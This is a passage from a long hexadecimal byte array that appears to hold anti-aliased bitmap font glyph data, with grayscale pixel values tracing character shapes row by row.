0x00, 0x83, 0xFF, 0xFF, 0xFF, 0x67, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5A,
0xFF, 0xFF, 0xFF, 0xDA, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0xF7, 0xFF,
0xFF, 0xF6, 0x37, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC6, 0xFF, 0xFF, 0xFE,
0x55, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4B, 0xFF, 0xFF, 0x79, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9B, 0x9E, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5B, 0xA9, 0x5B, 0x10, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x91, 0xFF, 0xFF, 0x87, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB5, 0xFF, 0xFF, 0x63,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD9, 0xFF, 0xFF,
0x3C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0xFA, 0xFF,
0xFF, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x26, 0xFF,
0xFF, 0xE3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5B,
0xFF, 0xFF, 0xB2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x92, 0xFF, 0xFF, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xC8, 0xFF, 0xFF, 0xFF, 0xFE, 0xFE, 0xFE, 0xFE, 0xFE, 0xFE, 0xFE, 0xFE, 0xFE, 0x4C, 0x00,
0x00, 0x07, 0xF8, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x4C,
0x00, 0x00, 0x4B, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0x4C, 0x00, 0x00, 0x9C, 0xFF, 0xFF, 0xA2, 0x53, 0x53, 0x53, 0xC5, 0xFF, 0xFF, 0x9B, 0x53, 0x53,
0x53, 0x19, 0x00, 0x03, 0xEA, 0xFF, 0xFF, 0x36, 0x00, 0x00, 0x00, 0xA1, 0xFF, 0xFF, 0x53, 0x00,
0x00, 0x00, 0x00, 0x00, 0x4C, 0xFF, 0xFF, 0xE9, 0x01, 0x00, 0x00, 0x00, 0xBE, 0xFF, 0xFF, 0x36,
0x00, 0x00, 0x00, 0x00, 0x00, 0xC6, 0xFF, 0xFF, 0xA0, 0x00, 0x00, 0x00, 0x00, 0xDC, 0xFF, 0xFF,
0x19, 0x00, 0x00, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0xFF, 0x39, 0x00, 0x00, 0x00, 0x01, 0xF8, 0xFF,
0xFA, 0x02, 0x00, 0x00, 0x00, 0x00, 0x4C, 0xFA, 0xFF, 0xB6, 0x00, 0x00, 0x00, 0x00, 0x1C, 0xFF,
0xFF, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0xEE, 0x35, 0x00, 0x00, 0x00, 0x00, 0x56,
0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00,
0x91, 0xFF, 0xFF, 0x7E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xCC, 0xFF, 0xFF, 0x43, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x0B, 0xFB, 0xFF, 0xFC, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x5E, 0xFF, 0xFF, 0xCD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xC8, 0xFF, 0xFF, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x32, 0xFF, 0xFF, 0xFD, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xA3, 0xFF, 0xFF, 0xB7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x52, 0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x1E, 0xEE, 0xFF, 0xFF, 0xD6, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0xFF, 0xFF, 0xFD, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xA6, 0xFF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x66, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x5C, 0xB9, 0xB9, 0xB9, 0xB9, 0xB9, 0xB9, 0xB9, 0xB9, 0xB9, 0xB9, 0xB9,
0xA0, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xDD, 0x7F, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xDD, 0x4B, 0x97, 0x97, 0x97, 0x97,
0x97, 0x97, 0x97, 0x97, 0xAA, 0xFF, 0xFF, 0xDD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x2E, 0xFF, 0xFF, 0xDD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0xFF,
0xFF, 0xDD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0xFF, 0xFF, 0xDD, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0xFF, 0xFF, 0xDD, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0xFF, 0xFF, 0xDD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x2E, 0xFF, 0xFF, 0xDD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E,
0xFF, 0xFF, 0xDD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0xFF, 0xFF, 0xDD,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0xFF, 0xFF, 0xDD, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0xFF, 0xFF, 0xDD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x2E, 0xFF, 0xFF, 0xDD, 0x36, 0x6D, 0x6D, 0x6D, 0x6D, 0x6D, 0x6D, 0x6D, 0x6D,
0x91, 0xFF, 0xFF, 0xDD, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xDD, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xDD, 0x71, 0xE4,
0xE4, 0xE4, 0xE4, 0xE4, 0xE4, 0xE4, 0xE4, 0xE9, 0xFF, 0xFF, 0xDD, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x2E, 0xFF, 0xFF, 0xDD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x1B, 0x97, 0x97, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x69,
0x70, 0x6A, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0x59, 0x59, 0x3F, 0x00, 0x00, 0x00,
0xF1, 0xFF, 0xFF, 0x1A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xFF, 0xFF, 0xB6, 0x00, 0x00,
0x00, 0xF1, 0xFF, 0xFF, 0x1A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xFF, 0xFF, 0xB6, 0x00,
0x00, 0x00, 0xF1, 0xFF, 0xFF, 0x1A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xFF, 0xFF, 0xB6,
0x00, 0x00, 0x00, 0xF1, 0xFF, 0xFF, 0x1A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xFF, 0xFF,
0xB6, 0x00, 0x00, 0x00, 0xF1, 0xFF, 0xFF, 0x1A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xFF,
0xFF, 0xB6, 0x00, 0x00, 0x00, 0xF1, 0xFF, 0xFF, 0x1A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55,
0xFF, 0xFF, 0xB6, 0x00, 0x00, 0x00, 0xF1, 0xFF, 0xFF, 0x1A, 0x00, 0x00, 0x00, 0x09, 0x13, 0x13,
0x62, 0xFF, 0xFF, 0xC2, 0x13, 0x13, 0x13, 0xF2, 0xFF, 0xFF, 0x2D, 0x13, 0x13, 0x06, 0x7F, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x9F, 0x7F,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xAC,
0x7C, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xAC, 0x0E, 0x3E, 0x3E, 0x7F, 0xFF, 0xFF, 0xC8, 0x3E, 0x3E, 0x3E, 0xF5, 0xFF, 0xFF, 0x52, 0x3E,
0x3E, 0x2A, 0x00, 0x00, 0x00, 0x55, 0xFF, 0xFF, 0xB6, 0x00, 0x00, 0x00, 0xF1, 0xFF, 0xFF, 0x1A,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xFF, 0xFF, 0xB6, 0x00, 0x00, 0x01, 0xFC, 0xFF, 0xFF,
0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xFF, 0xFF, 0xB6, 0x00, 0x00, 0x11, 0xFF, 0xFF,
0xFF, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xFF, 0xFF, 0xB6, 0x00, 0x00, 0x24, 0xFF,
0xFF, 0xFA, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xFF, 0xFF, 0xB6, 0x00, 0x00, 0x39,
0xFF, 0xFF, 0xDD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xFF, 0xFF, 0xB6, 0x00, 0x00,
0x6F, 0xFF, 0xFF, 0xBC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x48, 0x48, 0x33, 0x00,
0x00, 0xB2, 0xFF, 0xFF, 0x9C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x04, 0xF1, 0xFF, 0xFF, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x50, 0xFF, 0xFF, 0xFE, 0x1A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x01, 0xD2, 0xFF, 0xFF, 0xCA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x58, 0xFF, 0xFF, 0xFF, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x1D, 0xE4, 0xFF, 0xFF, 0xEA, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x10, 0xD4, 0xFF, 0xFF, 0xFF, 0x6B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xB5, 0xFF, 0xFF, 0xFF, 0xD6, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x7A, 0xFF, 0xFF, 0xEB, 0x25, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xB0, 0xF5, 0x37, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6E, 0xE3, 0x1E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0xF1, 0xFF, 0xD5, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x5E, 0xFF, 0xFF, 0xFF, 0xC2, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xA0, 0xFF, 0xFF, 0xFF, 0x8A, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0xC1, 0xFF, 0xFF, 0xF9, 0x09, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0xE4, 0xFF, 0x8E, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0xE7, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x0A, 0x28, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x16, 0x01, 0x00, 0x00, 0x88, 0xEF, 0x2D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xBD, 0x8F, 0x00, 0x2B, 0xFA, 0xFF, 0xE7, 0x23, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x22,
0xFE, 0xFF, 0x83, 0x53, 0xFF, 0xFF, 0xFF, 0xDB, 0x0D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84,
0xFF, 0xFF, 0xD6, 0x00, 0x8D, 0xFF, 0xFF, 0xFF, 0xA0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0xE4,
0xFF, 0xFF, 0x79, 0x00, 0x01, 0xA8, 0xFF, 0xFF, 0xFF, 0x23, 0x00, 0x00, 0x00, 0x00, 0x4B, 0xFF,
0xFF, 0xFC, 0x1A, 0x00, 0x00, 0x0B, 0xD6, 0xFF, 0xA7, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB5, 0xFF,
0xFF, 0xB3, 0x00, 0x00, 0x00, 0x00, 0x2A, 0xD9, 0x12, 0x00, 0x00, 0x00, 0x00, 0x42, 0xFF, 0xFF,
0xFF, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xD1, 0xFF, 0xFF,
0xE3, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0xFF, 0xFF, 0xFF,
0x5A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0xE9, 0xFF, 0xFF, 0xC5,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xAB, 0xFF, 0xFF, 0xFD, 0x33,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8D, 0xFF, 0xFF, 0xFF, 0x9C, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6D, 0xFF, 0xFF, 0xFF, 0xD4, 0x0F, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0xFD, 0xFF, 0xFF, 0xE8, 0x1F, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x15, 0xAD, 0xFF, 0xFF, 0xFF, 0xF5, 0x35, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x4C, 0xE9, 0xFF, 0xFF, 0xFF, 0xFC, 0x50, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xA2, 0xFF, 0xFF, 0xFF, 0xEA, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0xFE, 0xFF, 0xCC, 0x1E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB3, 0x9F, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x24, 0x46, 0x69, 0x8C, 0xAE, 0x87, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x77, 0xBB, 0xDE, 0xFC, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x66,
0x00, 0x00, 0x00, 0x00, 0x00, 0xAC, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF9,
0x33, 0x00, 0x00, 0x00, 0x00, 0x8A, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0x4B, 0x00, 0x00, 0x00, 0x00, 0x5E, 0xD4, 0xB1, 0x8F, 0x6C, 0x49, 0x27, 0x9D, 0xFF, 0xFF, 0xF1,
0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDF, 0xFF, 0xFF, 0xA4,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0xFF, 0xFF, 0xFF, 0x51,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x71, 0xFF, 0xFF, 0xF4, 0x09,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBA, 0xFF, 0xFF, 0xA5, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0xFA, 0xFF, 0xFF, 0x44, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7B, 0xFF, 0xFF, 0xE2, 0x02, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0xE1, 0xFF, 0xFF, 0x84, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4D, 0xFF, 0xFF, 0xFF, 0x96, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB5, 0xFF, 0xFF, 0xFF, 0xFC, 0x30, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x36, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xC6, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC4, 0xFF, 0xFF, 0xF7, 0xFF, 0xFF, 0xFF, 0x62,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x56, 0xFF, 0xFF, 0xFF, 0x42, 0xB2, 0xFF, 0xFF, 0xEB,
0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0xDF, 0xFF, 0xFF, 0xC4, 0x00, 0x23, 0xFA, 0xFF, 0xFF,
0x94, 0x00, 0x00, 0x00, 0x00, 0x00, 0x81, 0xFF, 0xFF, 0xFF, 0x3F, 0x00, 0x00, 0x94, 0xFF, 0xFF,
0xFA, 0x20, 0x00, 0x00, 0x00, 0x44, 0xFD, 0xFF, 0xFF, 0xAA, 0x00, 0x00, 0x00, 0x18, 0xF7, 0xFF,
0xFF, 0x9F, 0x00, 0x00, 0x1B, 0xEA, 0xFF, 0xFF, 0xF5, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x95, 0xFF,
0xFF, 0xFC, 0x27, 0x05, 0xC5, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1E, 0xFB,
0xFF, 0xFF, 0xA9, 0x6A, 0xFF, 0xFF, 0xFF, 0x9D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA4,
0xFF, 0xFF, 0xC3, 0x0F, 0xD3, 0xFF, 0xD0, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31,
0xFF, 0xDA, 0x15, 0x00, 0x1C, 0xCD, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x97, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x15, 0xC2, 0xC2, 0xAB, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0xFF, 0xFF, 0xEF, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0xFF, 0xFF, 0xEF, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0xFF, 0xFF, 0xEF, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0xFF, 0xFF, 0xEF, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0xFF, 0xFF, 0xEF, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0xFF, 0xFF, 0xEF, 0x00, 0x00, 0x00, 0x03, 0x45,
0x9F, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0xFF, 0xFF, 0xEF, 0x00, 0x37, 0x91, 0xE8, 0xFF,
0xFF, 0xEF, 0x11, 0x00, 0x00, 0x00, 0x00, 0x1C, 0xFF, 0xFF, 0xFF, 0xDD, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0x74, 0x00, 0x00, 0x03, 0x39, 0x8B, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0x52, 0x3A, 0xAA, 0xEE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xD5, 0x88, 0xFF,
0xFF, 0xF8, 0x0C, 0x6E, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFC, 0x93, 0x34, 0x00, 0x5B, 0xFF,
0xFF, 0xB7, 0x00, 0x4E, 0xFF, 0xFF, 0xFF, 0xFB, 0xFF, 0xFF, 0xEF, 0x00, 0x00, 0x00, 0xA8, 0xFF,
0xFF, 0x6A, 0x00, 0x2D, 0xFD, 0xBA, 0x5C, 0x27, 0xFF, 0xFF, 0xEF, 0x00, 0x00, 0x15, 0xF6, 0xFF,
0xFF, 0x1D, 0x00, 0x04, 0x17, 0x00, 0x00, 0x1C, 0xFF, 0xFF, 0xEF, 0x00, 0x00, 0x82, 0xFF, 0xFF,
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0xFF, 0xFF, 0xEF, 0x00, 0x0C, 0xED, 0xFF, 0xFF,
0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0xFF, 0xFF, 0xEF, 0x00, 0x71, 0xFF, 0xFF, 0xDE,
0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0xFF, 0xFF, 0xEF, 0x00, 0x8A, 0xFF, 0xFF, 0x72,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0xFF, 0xFF, 0xEF, 0x00, 0x00, 0x56, 0xDC, 0x0F,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0xFF, 0xFF, 0xEF, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0xFF, 0xFF, 0xEF, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0xFF, 0xFF, 0xF6, 0x04, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0xFF, 0xFF, 0xFF, 0x64, 0x03, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0xFE, 0xFF, 0xFF, 0xFF, 0xF2, 0xE9, 0xE9, 0xE9,
0xE9, 0x8B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC7, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0x99, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5B, 0xF0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0x99, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x50, 0x68, 0x68, 0x68, 0x68, 0x68,
0x68, 0x2A, 0x00, 0x00, 0x00, 0x32, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x26, 0xAF, 0x75,
0x3A, 0x00, 0x03, 0x7D, 0xFB, 0x72, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x49, 0xFF, 0xFF, 0xFD,
0x02, 0x70, 0xFF, 0xFF, 0xCC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0xFF, 0xFF, 0xE8, 0x00,
0x33, 0xFF, 0xFF, 0xFF, 0x26, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7D, 0xFF, 0xFF, 0xD1, 0x00, 0x00,
0xDD, 0xFF, 0xFF, 0x7F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0xFF, 0xFF, 0xB9, 0x00, 0x00, 0x87,
0xFF, 0xFF, 0xD6, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB1, 0xFF, 0xFF, 0xA2, 0x00, 0x00, 0x31, 0xFF,
0xFF, 0xFF, 0x20, 0x00, 0x00, 0x00, 0x00, 0xCB, 0xFF, 0xFF, 0x7B, 0x00, 0x00, 0x00, 0xE6, 0xFF,
